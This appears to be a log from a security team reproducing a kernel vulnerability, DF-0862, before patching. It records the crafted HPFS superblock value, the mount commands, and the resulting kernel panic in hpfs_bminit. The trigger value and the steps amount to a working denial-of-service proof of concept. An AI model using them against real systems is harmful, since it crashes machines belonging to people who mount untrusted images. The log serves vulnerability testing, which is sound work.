DF-0862 — BASELINE reproduction (BEFORE): unpatched #0 GENERIC kernel (INVARIANTS ON)
+ original /boot/kernel/hpfs.ko.  Trigger: mount crafted HPFS image, su_btotal=0xFFFFC001.

image: [craft] wrote crafted.img  su_btotal=0xffffc001  -> hpm_dbnum(u32)=0  loop_iters(su_btotal>>5)=134217216

mount invocation (as root; the mounter is the victim who mounts the attacker's image):
  kldload hpfs                       # enable the HPFS parser (shipped module)
  vnconfig -c vn crafted.img         # attach image -> /dev/vn4
  mount -t hpfs -o ro /dev/vn4 /mnt/df0862

result: ssh session HANGS (mount syscall never returns) -> RUN_RC=124 at 120s.

serial console (dfbsd-qemu/boot.log) captured the panic the hung ssh could not print:
---------------------------------------------------------------------------
vn4: MBR magic not found; assume a COMPATIBILITY_SLICE (s0)

Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0xfffffffffffffff8
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff82602800
stack pointer	        = 0x10:0xfffff80117ba3270
frame pointer	        = 0x10:0xfffff80117ba32b0
current process		= 961
kernel: type 12 trap, code=0
Stopped at      hpfs_bminit+0x230:      movl    (%rax),%edi
db>
---------------------------------------------------------------------------
=> kernel PANIC.  guest DOWN (vm.sh status => down).  Reproduced.